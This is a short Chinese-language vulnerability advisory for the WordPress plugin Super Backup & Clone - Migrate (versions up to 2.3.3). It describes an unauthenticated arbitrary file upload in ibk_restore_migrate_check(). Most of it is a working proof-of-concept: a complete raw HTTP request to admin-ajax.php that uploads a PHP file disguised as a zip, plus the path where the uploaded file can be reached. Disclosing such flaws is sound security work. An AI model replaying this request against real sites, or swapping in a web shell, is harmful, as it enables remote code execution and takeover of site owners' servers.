
Super Backup & Clone - Migrate for WordPress <= 2.3.3 - 未认证的任意文件上传
Super Backup & Clone - Migrate for WordPress <= 2.3.3 - 未授权任意文件上传
Super Backup & Clone - Migrate for WordPress 插件的 WordPress 版本存在任意文件上传漏洞,原因是 ibk_restore_migrate_check() 函数缺少文件类型验证和权限检查,影响所有版本及 2.3.3 版本。这使得未授权攻击者可以在受影响站点的服务器上上传任意文件,可能导致远程代码执行。
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://wp-dev.ddev.site/wp-admin/admin.php?page=ibk_admin&tab=restore
Content-Type: multipart/form-data; boundary=---------------------------12986918151631900204175958232
Content-Length: 793
Origin: https://wp-dev.ddev.site
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
-----------------------------12986918151631900204175958232
Content-Disposition: form-data; name="ibk_restore_migrate_action"
1
-----------------------------12986918151631900204175958232
Content-Disposition: form-data; name="restore_type"
restore_file
-----------------------------12986918151631900204175958232
Content-Disposition: form-data; name="restore_url"
-----------------------------12986918151631900204175958232
Content-Disposition: form-data; name="upload_file"; filename="info.php"
Content-Type: application/zip
<?php phpinfo(); ?>
-----------------------------12986918151631900204175958232--
上传至 https://wp-dev.ddev.site/wp-content/uploads/isnapshots/info.php